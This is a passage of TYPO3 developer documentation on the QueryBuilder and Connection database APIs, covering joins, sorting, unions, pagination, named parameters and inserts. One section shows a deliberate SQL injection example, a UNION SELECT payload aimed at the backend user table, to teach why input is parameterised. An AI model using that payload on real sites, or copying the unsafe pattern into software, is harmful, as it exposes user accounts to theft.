  • ->where() should be called only once per query and resets all previously set ->where(), ->andWhere() and ->orWhere() expressions. A ->where() call after a previous ->where(), ->andWhere() or ->orWhere() usually indicates a bug or a rather weird code flow. Doing so is discouraged.
  • When creating complex WHERE restrictions, ->getSQL() and ->getParameters() are helpful debugging tools to verify parenthesis and single query parts.
  • If only ->eq() expressions are used, it is often easier to switch to the according method of the Connection object to simplify quoting and improve readability.
  • It is possible to feed the methods directly with strings, but this is discouraged and usually used only in rare cases where expression strings are created in a different place that can not be easily resolved.

join(), innerJoin(), rightJoin() and leftJoin()

Joining multiple tables in a ->select() or ->count() query is done with one of these methods. Multiple joins are supported by calling the methods more than once. All methods require four arguments: The name of the table on the left (or its alias), the name of the table on the right, an alias for the name of the table on the right, and the join restriction as fourth argument:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `sys_language`.`uid`, `sys_language`.`title`
// FROM `sys_language`
// INNER JOIN `pages` `p`
//     ON `p`.`sys_language_uid` = `sys_language`.`uid`
// WHERE
//     (`p`.`uid` = 42)
//     AND (
//          (`p`.`deleted` = 0)
//          AND (
//              (`sys_language`.`hidden` = 0) AND (`overlay`.`hidden` = 0)
//          )
//          AND (`p`.`starttime` <= 1475591280)
//          AND ((`p`.`endtime` = 0) OR (`overlay`.`endtime` > 1475591280))
//     )
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language')
$result = $queryBuilder
   ->select('sys_language.uid', 'sys_language.title')
   ->from('sys_language')
   ->join(
       'sys_language',
       'pages',
       'p',
       $queryBuilder->expr()->eq('p.sys_language_uid', $queryBuilder->quoteIdentifier('sys_language.uid'))
   )
   ->where(
       $queryBuilder->expr()->eq('p.uid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT))
   )
   ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Notes to the example above:

  • The query operates with the sys_language table as the main table, this table name is given to getQueryBuilderForTable().
  • The query joins the pages table as INNER JOIN and gives it the alias p.
  • The join condition is `p`.`sys_language_uid` = `sys_language`.`uid`. It would have been identical to swap the expression arguments of the fourth ->join() argument ->eq('sys_language.uid', $queryBuilder->quoteIdentifier('p.sys_language_uid')).
  • The second argument of the join expression instructs the ExpressionBuilder to quote the value as a field identifier (a field name, here a combination of table and field name). Using createNamedParameter would lead in quoting as value (' instead of ` in MySQL) and the query would fail.
  • The alias p - the third argument of the ->join() call - does not necessarily have to be set to a different name than the table name itself here. It is sufficient to use pages as third argument and not to specify any other name. Aliases are mostly useful when a join to the same table is needed: SELECT `something` FROM `tt_content` JOIN `tt_content` `content2` ON .... Aliases are also useful to increase the readability of ->where() expressions.
  • The RestrictionBuilder has added additional WHERE conditions for both tables involved! The sys_language table obviously only specifies a 'disabled' => 'hidden' as enableColumns in its TCA ctrl section, while the pages table specifies the fields deleted, hidden, starttime and stoptime.

A more complex example with two joins. The first join points to the first table, again using an alias to resolve a language overlay scenario. The second join uses the alias of the first join target as left side:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `tt_content_orig`.`sys_language_uid`
// FROM `tt_content`
// INNER JOIN `tt_content` `tt_content_orig` ON `tt_content`.`t3_origuid` = `tt_content_orig`.`uid`
// INNER JOIN `sys_language` `sys_language` ON `tt_content_orig`.`sys_language_uid` = `sys_language`.`uid`
// WHERE
//     (`tt_content`.`colPos` = 1)
//     AND (`tt_content`.`pid` = 42)
//     AND (`tt_content`.`sys_language_uid` = 2)
//     AND ... RestrictionBuilder TCA restrictions for tables tt_content and sys_language ...
// GROUP BY `tt_content_orig`.`sys_language_uid`
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language')
$constraints = [
    $queryBuilder->expr()->eq('tt_content.colPos', $queryBuilder->createNamedParameter(1, Connection::PARAM_INT)),
    $queryBuilder->expr()->eq('tt_content.pid', $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)),
    $queryBuilder->expr()->eq('tt_content.sys_language_uid', $queryBuilder->createNamedParameter(2, Connection::PARAM_INT)),
];
$queryBuilder
    ->select('tt_content_orig.sys_language_uid')
    ->from('tt_content')
    ->join(
        'tt_content',
        'tt_content',
        'tt_content_orig',
        $queryBuilder->expr()->eq(
            'tt_content.t3_origuid',
            $queryBuilder->quoteIdentifier('tt_content_orig.uid')
        )
    )
    ->join(
        'tt_content_orig',
        'sys_language',
        'sys_language',
        $queryBuilder->expr()->eq(
            'tt_content_orig.sys_language_uid',
            $queryBuilder->quoteIdentifier('sys_language.uid')
        )
    )
    ->where(...$constraints)
    ->groupBy('tt_content_orig.sys_language_uid')
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Further remarks:

  • ->join() and innerJoin are identical. They create an INNER JOIN query, this is identical to a JOIN query.
  • ->leftJoin() creates a LEFT JOIN query, this is identical to a LEFT OUTER JOIN query.
  • ->rightJoin() creates a RIGHT JOIN query, this is identical to a RIGHT OUTER JOIN query.
  • Calls to join() methods are only considered for ->select() and ->count() type queries. ->delete(), ->insert() and update() do not support joins, these query parts are ignored and do not end up in the final statement.
  • The argument of ->getQueryBuilderForTable() should be the leftmost main table.
  • Joining two tables that are configured to different connections will throw an exception. This restricts the tables that can be configured for different database endpoints. It is possible to test the connection objects of the involved tables for equality and implement a fallback logic in PHP if they are different.
  • Doctrine DBAL does not support the use of join methods in combination with ->update(), ->insert() and ->delete() methods, because such a statement is not cross-platform compatible.
  • Multiple join condition expressions can be resolved as strings like:

    $joinConditionExpression = $queryBuilder->expr()->and(
        $queryBuilder->expr()->eq(
            'tt_content_orig.sys_language_uid',
            $queryBuilder->quoteIdentifier('sys_language.uid')
        ),
        $queryBuilder->expr()->eq(
            'tt_content_orig.sys_language_uid',
            $queryBuilder->quoteIdentifier('sys_language.uid')
        ),
    );
    $queryBuilder->leftJoin(
        'tt_content_orig',
        'sys_language',
        'sys_language',
        (string)$joinConditionExpression
    );
    Copied!

orderBy() and addOrderBy()

Add ORDER BY to a ->select() statement. Both ->orderBy() and ->addOrderBy() require a field name as first argument:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `sys_language` ORDER BY `sorting` ASC
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder->getRestrictions()->removeAll();
$languageRecords = $queryBuilder
    ->select('*')
    ->from('sys_language')
    ->orderBy('sorting')
    ->executeQuery()
    ->fetchAllAssociative();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • ->orderBy() resets all previously specified orders. It makes no sense to call this function again after a previous ->orderBy() or ->addOrderBy().
  • Both methods need a field name or a table.fieldName or a tableAlias.fieldName as first argument. In the example above the call to ->orderBy('sys_language.sorting') would have been identical. All identifiers are quoted automatically.
  • The second, optional argument of both methods specifies the sort order. The two allowed values are 'ASC' and 'DESC', where 'ASC' is default and can be omitted.
  • To create a chain of orders, use ->orderBy() and then multiple ->addOrderBy() calls. The call to ->orderBy('header')->addOrderBy('bodytext')->addOrderBy('uid', 'DESC') creates ORDER BY `header` ASC, `bodytext` ASC, `uid` DESC
  • To achieve more complex sortings, which can't be created with QueryBuilder, you can fall back on the underlying raw Doctrine QueryBuilder. This is accessible with ->getConcreteQueryBuilder(). It doesn't do any quoting, so you can do something like $concreteQueryBuilder->orderBy('FIELD(eventtype, 0, 4, 1, 2, 3)');. Make sure to quote properly as this is entirely your responsibility with the Doctrine QueryBuilder!

groupBy() and addGroupBy()

Add GROUP BY to a ->select() statement. Each argument of the methods is a single identifier:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// GROUP BY `pages`.`sys_language_uid`, `sys_language`.`uid`
->groupBy('pages.sys_language_uid', 'sys_language.uid');
Copied!

Remarks:

  • Similar to ->select() and ->where(), both methods are variadic and take any number of arguments, argument unpacking is supported: ->groupBy(...$myGroupArray)
  • Each argument is either a direct field name GROUP BY `bodytext`, a table.fieldName or a tableAlias.fieldName and is properly quoted.
  • ->groupBy() resets all previously defined group specification and should only be called once per statement.
  • For more complex statements you can use the raw Doctrine QueryBuilder. See remarks for orderBy()

union() and addUnion()

Method union() provides a streamlined way to combine result sets from multiple queries.

union(string|QueryBuilder $part)
Creates the initial UNION query part by accepting either a raw SQL string or a QueryBuilder instance. Calling union() resets all previous union definitions, it should therefore only be called once, using addUnion() to add subsequent union parts.
addUnion(string|QueryBuilder $part, UnionType $type = UnionType::DISTINCT)

Adds additional UNION parts to the query. The $type parameter accepts:

UnionType::DISTINCT
Combines results while eliminating duplicates.
UnionType::ALL
Combines results and retains all duplicates. Not removing duplicates can be a performance improvement.

Named placeholders, such as created by QueryBuilder::createNamedParameter() must be created on the outer most QueryBuilder See the example below.

Database provider support of union() and addUnion()

QueryBuilder can be used create UNION clause queries not compatible with all database providers, for example using LIMIT/OFFSET in each part query or other stuff.

When building functional tests, run them on all database types that should be supported.

Example using union() on two QueryBuilders

packages/my_extension/classes/Service/MyService.php
<?php

namespace MyExtension\MyVendor\Service;

use Doctrine\DBAL\Query\UnionType;
use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;
use TYPO3\CMS\Core\Database\Query\QueryBuilder;

final readonly class MyService
{
    public function __construct(
        private ConnectionPool $connectionPool,
    ) {}

    public function getTitlesOfSubpagesAndContent(
        int $parentId,
    ): ?array {
        $connection = $this->connectionPool->getConnectionForTable('pages');
        $unionQueryBuilder = $connection->createQueryBuilder();

        // Passing the outermost QueryBuilder to the subqueries
        $firstPartQueryBuilder = $this->getUnionPart1QueryBuilder($connection, $unionQueryBuilder, $parentId);
        $secondPartQueryBuilder = $this->getUnionPart2QueryBuilder($connection, $unionQueryBuilder, $parentId);

        return $unionQueryBuilder
            ->union($firstPartQueryBuilder)
            ->addUnion($secondPartQueryBuilder, UnionType::DISTINCT)
            ->orderBy('uid', 'ASC')
            ->executeQuery()
            ->fetchAllAssociative();
    }

    private function getUnionPart1QueryBuilder(
        Connection $connection,
        QueryBuilder $unionQueryBuilder,
        int $pageId,
    ): QueryBuilder {
        $queryBuilder = $connection->createQueryBuilder();
        // The union Expression Builder **must** be used on subqueries
        $unionExpr = $unionQueryBuilder->expr();
        $queryBuilder
            // The column names of the first query are used
            // The column count of both subqueries must be the same
            // The data types must be compatible across columns of the queries
            ->select('title', 'subtitle')
            ->from('pages')
            ->where(
                // The union Expression Builder **must** be used on subqueries
                $unionExpr->eq(
                    'pages.pid',
                    // Named parameters **must** be created on the outermost (union) query builder
                    $unionQueryBuilder->createNamedParameter($pageId, Connection::PARAM_INT),
                ),
            );
        return $queryBuilder;
    }

    private function getUnionPart2QueryBuilder(
        Connection $connection,
        QueryBuilder $unionQueryBuilder,
        int $pageId,
    ): QueryBuilder {
        $queryBuilder = $connection->createQueryBuilder();
        // The union Expression Builder **must** be used on subqueries
        $unionExpr = $unionQueryBuilder->expr();
        $queryBuilder
            // The column count of both subqueries must be the same
            ->select('header', 'subheader')
            ->from('tt_content')
            ->where(
                $unionExpr->eq(
                    'tt_content.pid',
                    // Named parameters **must** be created on the outermost (union) query builder
                    $unionQueryBuilder->createNamedParameter($pageId, Connection::PARAM_INT),
                ),
            );
        return $queryBuilder;
    }
}
Copied!
Line 18
All query parts must share the same connection.
Line 19
The outer most QueryBuilder is responsible for the union, it must be used to create named parameters and build expressions within the sub queries.
Line 22-23
We therefore pass the central QueryBuilder responsible for the UNION to all subqueries. Same with the ExpressionBuilder.
Line 25-30
We start building the union() on the first sub query, then add the second sub query using addUnion()
Line 41
Only use the ExpressionBuilder of the sql:UNION within the subqueries.
Line 50
Named parameters must also be called on the outer most union query builder.

The Default Restrictions are applied to each subquery automatically.

setMaxResults() and setFirstResult()

Add LIMIT to restrict the number of records and OFFSET for pagination of query parts. Both methods should be called only once per statement:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `sys_language` LIMIT 2 OFFSET 4
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language')
    ->setMaxResults(2)
    ->setFirstResult(4)
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • It is allowed to call ->setMaxResults() without calling ->setFirstResult().
  • It is possible to call ->setFirstResult() without calling setMaxResults(): This is equivalent to "Fetch everything, but leave out the first n records". Internally, LIMIT will be added by Doctrine DBAL and set to a very high value.
  • ->setMaxResults(null) can be used to retrieve all results. If an unlimited result set is needed, and no reset of previous instructions is required, this method call should best be omitted for best compatibility.

Changed in version 13.0

Starting with TYPO3 13 null instead of argument 0 (integer) must be used in ->setMaxResults() to return the complete result set without any LIMIT.

add()

Changed in version 13.0

With the upgrade to Doctrine DBAL version 4 this method has been removed.

Migration: use the direct methods instead:

Before After
->add('select', $array) ->select(...$array)
->add('where', $constraints) ->where(...$constraints)
->add('having', $havings) ->having(...$havings)
->add('orderBy', $orderBy) ->orderBy($orderByField, $orderByDirection)->addOrderBy($orderByField2)
->add('groupBy', $groupBy) ->groupBy($groupField)->addGroupBy($groupField2)

getSQL()

The ->getSQL() method returns the created query statement as string. It is incredibly useful during development to verify that the final statement is executed exactly as a developer expects:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language');
debug($queryBuilder->getSQL());
$result = $queryBuilder->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • This is debugging code. Take proper actions to ensure that these calls do not end up in production!
  • The method is usually called directly before ->executeQuery() or ->executeStatement() to output the final statement.
  • Casting a query builder object to (string) has the same effect as calling ->getSQL(), but the explicit call using the method should be preferred to simplify a search operation for this kind of debugging statements.
  • The method is a simple way to see what restrictions the RestrictionBuilder has added.
  • Doctrine DBAL always creates prepared statements: Each value added via createNamedParameter creates a placeholder that is later replaced when the real query is triggered via ->executeQuery() or ->executeStatement(). ->getSQL() does not show these values, instead it displays the placeholder names, usually with a string like :dcValue1. There is no simple solution to show the fully replaced query within the framework, but you can use getParameters to see the array of parameters used to replace these placeholders within the query. On the frontend, the queries and parameters are available in the admin panel.

getParameters()

The ->getParameters() method returns the values for the placeholders of the prepared statement in an array. This is incredibly useful during development to verify that the final statement is executed as a developer expects:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('sys_language');
$queryBuilder
    ->select('*')
    ->from('sys_language');
debug($queryBuilder->getParameters());
$statement = $queryBuilder->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Remarks:

  • This is debugging code. Take proper actions to ensure that these calls do not end up in production!
  • The method is usually called directly before ->executeQuery() or ->executeStatement() to output the final statement.
  • Doctrine DBAL always creates prepared statements: Each value added via createNamedParameter creates a placeholder that is later replaced when the real query is triggered via ->executeQuery() or ->executeStatement(). ->getParameters() does not show the statement or the placeholders, instead the values are displayed, usually an array using keys like :dcValue1. There is no simple solution to show the fully replaced query within the framework, but you can use getSql to see the string with placeholders, which is used as a prepared statement.

executeQuery() and executeStatement()

Changed in version 13.0

The ->execute() method has been removed. Use

  • ->executeQuery() returning a \Doctrine\DBAL\Result instead of a \Doctrine\DBAL\Statement (like the ->execute() method returned) and
  • ->executeStatement() returning the number of affected rows.

executeQuery()

This method compiles and fires the final query statement. This is usually the last call on a query builder object. It can be called for SELECT and COUNT queries.

On success, it returns a result object of type \Doctrine\DBAL\Result representing the result set. The Result object can then be used by fetchAssociative(), fetchAllAssociative() and fetchOne(). executeQuery() returns a \Doctrine\DBAL\Result and not a \Doctrine\DBAL\Statement anymore.

If the query fails for some reason (for instance, if the database connection was lost or if the query contains a syntax error), an \Doctrine\DBAL\Exception is thrown. It is usually bad habit to catch and suppress this exception, as it indicates a runtime error a program error. Both should bubble up. For more information on proper exception handling, see the coding guidelines.

executeStatement()

The executeStatement() method can be used for INSERT, UPDATE and DELETE statements. It returns the number of affected rows as an integer.

expr()

This method returns an instance of the ExpressionBuilder. It is used to create complex WHERE query parts and JOIN expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT `uid` FROM `tt_content` WHERE (`uid` > 42)
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->gt(
            'uid',
            $queryBuilder->createNamedParameter(42, Connection::PARAM_INT)
        )
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Remarks:

  • This object is stateless and can be called and worked on as often as needed. However, it is bound to the specific connection for which a statement is created and therefore only available through the query builder, which is specific to a connection.
  • Never reuse the ExpressionBuilder, especially not between multiple query builder objects, but always get an instance of the expression builder by calling ->expr().

createNamedParameter()

Changed in version 13.0

Doctrine DBAL v4 dropped the support for using the \PDO::PARAM_* constants in favor of the enum types. Be aware of this and use \TYPO3\CMS\Core\Database\Connection::PARAM_*, which can already be used in TYPO3 v12 and v11.

This method creates a placeholder for a field value of a prepared statement. Always use this when dealing with user input in expressions to protect the statement from SQL injections:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT * FROM `tt_content` WHERE (`bodytext` = 'kl\'aus')
$searchWord = "kl'aus"; // $searchWord retrieved from the PSR-7 request
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord, Connection::PARAM_STR)
        )
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

The above example shows the importance of using ->createNamedParameter(): The search word kl'aus is "tainted" and would break the query if not channeled through ->createNamedParameter(), which quotes the backtick and makes the value SQL injection-safe.

Not convinced? Suppose the code would look like this:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// NEVER EVER DO THIS!
$_POST['searchword'] = "'foo' UNION SELECT username FROM be_users";
$searchWord = $request->getParsedBody()['searchword']);
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
 this fails with syntax error to prevent copy and paste
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        // MASSIVE SECURITY ISSUE DEMONSTRATED HERE
        // USE ->createNamedParameter() ON $searchWord!
        $queryBuilder->expr()->eq('bodytext', $searchWord)
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

Mind the missing ->createNamedParameter() method call in the ->eq() expression for a given value! This code would happily execute the statement SELECT uid FROM `tt_content` WHERE `bodytext` = 'foo' UNION SELECT username FROM be_users; returning a list of backend user names!

More examples

Use integer, integer array:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;
// SELECT * FROM `tt_content`
//     WHERE `bodytext` = 'kl\'aus'
//     AND   sys_language_uid = 0
//     AND   pid in (2, 42,13333)
$searchWord = "kl'aus"; // $searchWord retrieved from the PSR-7 request
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord)
        ),
        $queryBuilder->expr()->eq(
            'sys_language_uid',
            $queryBuilder->createNamedParameter($language, Connection::PARAM_INT)
        ),
        $queryBuilder->expr()->in(
            'pid',
            $queryBuilder->createNamedParameter($pageIds, Connection::PARAM_INT_ARRAY)
        )
    )
    ->executeQuery();
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

Rules

  • Always use ->createNamedParameter() for any input, no matter where it comes from.
  • The second argument of ->expr() is always either a call to ->createNamedParameter() or ->quoteIdentifier().
  • The second argument of ->createNamedParameter() specifies the type of input. For string, this can be omitted, but it is good practice to add \TYPO3\CMS\Core\Database\Connection::PARAM_INT for integers or similar for other field types. This is not strict rule currently, but if you follow it you will have fewer headaches in the future, especially with DBMSes that are not as relaxed as MySQL when it comes to field types. The Connection constants can be used for simple types like bool, string, null, lob and integer. Additionally, the two constants Connection::PARAM_INT_ARRAY and Connection::PARAM_STR_ARRAY can be used when handling an array of strings or integers, for instance in an IN() expression.
  • Keep the ->createNamedParameter() method as close to the expression as possible. Do not structure your code in a way that it quotes something first and only later stuffs the already prepared names into the expression. Having ->createNamedParameter() directly within the created expression, is much less error-prone and easier to review. This is a general rule: Sanitizing input must be done as close as possible to the "sink" where a value is passed to a lower part of the framework. This paradigm should also be followed for other quote operations like htmlspecialchars() or GeneralUtility::quoteJSvalue(). Sanitization should be obvious directly at the very place where it is important:
EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// DO
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'bodytext',
            $queryBuilder->createNamedParameter($searchWord, Connection::PARAM_STR)
        )
    )

// DON'T DO, this is much harder to track:
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$myValue = $queryBuilder->createNamedParameter($searchWord);
// Imagine much more code here
$queryBuilder->getRestrictions()->removeAll();
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq('bodytext', $myValue)
    )
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

quoteIdentifier() and quoteIdentifiers()

->quoteIdentifier() must be used when not a value but a field name is handled. The quoting is different in those cases and typically ends up with backticks ` instead of ticks ':

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// SELECT `uid` FROM `tt_content` WHERE (`header` = `bodytext`)
// Return list of rows where header and bodytext values are identical
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->eq(
            'header',
            $queryBuilder->quoteIdentifier('bodytext')
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool.

The method quotes single field names or combinations of table names or table aliases with field names:

Some quote examples
// Single field name: `bodytext`
->quoteIdentifier('bodytext');

// Table name and field name: `tt_content`.`bodytext`
->quoteIdentifier('tt_content.bodytext')

// Table alias and field name: `foo`.`bodytext`
->from('tt_content', 'foo')->quoteIdentifier('foo.bodytext')
Copied!

Remarks:

  • Similar to ->createNamedParameter() this method is crucial to prevent SQL injections. The same rules apply here.
  • The ->set() method for UPDATE statements expects its second argument to be a field value by default, and quotes it internally using ->createNamedParameter(). If a field should be set to the value of another field, this quoting can be turned off and an explicit call to ->quoteIdentifier() must be added.
  • Internally, ->quoteIdentifier() is automatically called on all method arguments that must be a field name. For instance, ->quoteIdentifier() is called for all arguments of ->select().
  • ->quoteIdentifiers() (mind the plural) can be used to quote multiple field names at once. While that method is "public" and thus exposed as an API method, this is mostly useful internally only.

escapeLikeWildcards()

Helper method to quote % characters within a search string. This is helpful in ->like() and ->notLike() expressions:

EXT:my_extension/Classes/Domain/Repository/MyRepository.php
// use TYPO3\CMS\Core\Database\Connection;

// SELECT `uid` FROM `tt_content` WHERE (`bodytext` LIKE '%kl\\%aus%')
$searchWord = 'kl%aus';
$queryBuilder = $this->connectionPool->getQueryBuilderForTable('tt_content');
$queryBuilder
    ->select('uid')
    ->from('tt_content')
    ->where(
        $queryBuilder->expr()->like(
            'bodytext',
            $queryBuilder->createNamedParameter('%' . $queryBuilder->escapeLikeWildcards($searchWord) . '%', Connection::PARAM_STR)
        )
    );
Copied!

Read how to correctly instantiate a query builder with the connection pool. See available parameter types.

getRestrictions(), setRestrictions(), resetRestrictions()

API methods to deal with the RestrictionBuilder.

Connection

Introduction

The \TYPO3\CMS\Core\Database\Connection class extends the basic Doctrine DBAL \Doctrine\DBAL\Connection class and is mainly used internally in TYPO3 to establish, maintain and terminate connections to single database endpoints. These internal methods are not the scope of this documentation, since an extension developer usually does not have to deal with them.

However, for an extension developer, the class provides a list of short-hand methods that allow you to deal with query cases without the complexity of the query builder. Using these methods usually ends up in rather short and easy-to-read code. The methods have in common that they only support "equal" comparisons in WHERE conditions, that all fields and values are automatically fully quoted, and that the created queries are executed right away.

Instantiation

Using the connection pool

An instance of the \TYPO3\CMS\Core\Database\Connection class is retrieved from the ConnectionPool by calling ->getConnectionForTable() and passing the table name for which a query should be executed. The ConnectionPool can be injected via constructor:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_domain_model_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function findSomething()
    {
        $connection = $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME);
    }
}
Copied!

Via dependency injection

Another way is to inject the Connection object directly via dependency injection if you only use one table.

  1. Configure the concrete connection as a service

    To make a concrete Connection object available as a service, use the factory option in the service configuration:

    EXT:my_extension/Configuration/Services.yaml
    services:
      _defaults:
        autowire: true
        autoconfigure: true
        public: false
    
      MyVendor\MyExtension\:
        resource: '../Classes/*'
    
      connection.tx_myextension_domain_model_mytable:
        class: 'TYPO3\CMS\Core\Database\Connection'
        factory: ['@TYPO3\CMS\Core\Database\ConnectionPool', 'getConnectionForTable']
        arguments:
          - 'tx_myextension_domain_model_mytable'
    
      MyVendor\MyExtension\Domain\Repository\MyTableRepository:
        arguments:
          - '@connection.tx_myextension_domain_model_mytable'
    
    Copied!
  2. Use constructor injection in your class

    Now the Connection object for a specific table can be injected via the constructor:

    EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Repository;
    
    use TYPO3\CMS\Core\Database\Connection;
    
    final class MyTableRepository
    {
        public function __construct(
            private readonly Connection $connection,
        ) {}
    
        public function findSomething()
        {
            // Here you can use $this->connection directly
        }
    }
    
    Copied!

Parameter types

The parameter types are used in various places to bind values to types, for example, when using named parameters in the query builder:

// use TYPO3\CMS\Core\Database\Connection;

$queryBuilder->createNamedParameter(42, Connection::PARAM_INT);
Copied!

The following parameter types are available:

\TYPO3\CMS\Core\Database\Connection::PARAM_NULL
Represents an SQL NULL data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_INT
Represents an SQL INTEGER data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_STR
Represents an SQL CHAR or VARCHAR data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_LOB
Represents an SQL large object data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_BOOL
Represents a boolean data type.
\TYPO3\CMS\Core\Database\Connection::PARAM_INT_ARRAY
Represents an array of integer values.
\TYPO3\CMS\Core\Database\Connection::PARAM_STR_ARRAY
Represents an array of string values.

The default parameter type is Connection::PARAM_STR, if this argument is omitted.

Internally, these parameter types are mapped to the types Doctrine DBAL expects.

insert()

The insert() method creates and executes an INSERT INTO statement. Example:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function insertSomething(
        int $pid,
        string $someString,
        array $someData,
    ): void {
        $this->connectionPool
            ->getConnectionForTable(self::TABLE_NAME)
            ->insert(
                self::TABLE_NAME,
                [
                    'pid' => $pid,
                    'some_string' => $someString,
                    'json_field' => $someData,
                ],
            );
    }
}
Copied!

Read how to instantiate a connection with the connection pool. See available parameter types.

This method supports the native database field declaration json, see Native JSON database field type support.

Arguments of the insert() method:

  1. The name of the table the row should be inserted. Required.
  2. An associative array containing field/value pairs. The key is a field name, the value is the value to be inserted. All keys are quoted to field names and all values are quoted to string values. Required.
  3. Specify how single values are quoted. This is useful if a date, number or similar should be inserted. Optional.

    The example below quotes the first value to an integer and the second one to a string:

    EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Domain\Repository;
    
    use TYPO3\CMS\Core\Database\Connection;
    use TYPO3\CMS\Core\Database\ConnectionPool;
    
    final class MyTableRepository
    {
        private const TABLE_NAME = 'tx_myextension_mytable';
    
        public function __construct(
            private readonly ConnectionPool $connectionPool,
        ) {}
    
        public function insertSomething(
            int $pid,
            string $someString,
        ): void {
            $this->connectionPool
                ->getConnectionForTable(self::TABLE_NAME)
                ->insert(
                    self::TABLE_NAME,
                    [
                        'pid' => $pid,
                        'some_string' => $someString,
                    ],
                    [
                        Connection::PARAM_INT,
                        Connection::PARAM_STR,
                    ],
                );
        }
    }
    
    Copied!

    Read how to instantiate a connection with the connection pool. See available parameter types.

insert() returns the number of affected rows. Guess what? That is the number 1 ... If something goes wrong, a \Doctrine\DBAL\Exception is thrown.

bulkInsert()

This method insert multiple rows at once:

EXT:my_extension/Classes/Domain/Repository/MyTableRepository.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Repository;

use TYPO3\CMS\Core\Database\Connection;
use TYPO3\CMS\Core\Database\ConnectionPool;

final class MyTableRepository
{
    private const TABLE_NAME = 'tx_myextension_mytable';

    public function __construct(
        private readonly ConnectionPool $connectionPool,
    ) {}

    public function bulkInsertSomething(
        int $pid1,
        int $pid2,
        string $someString1,
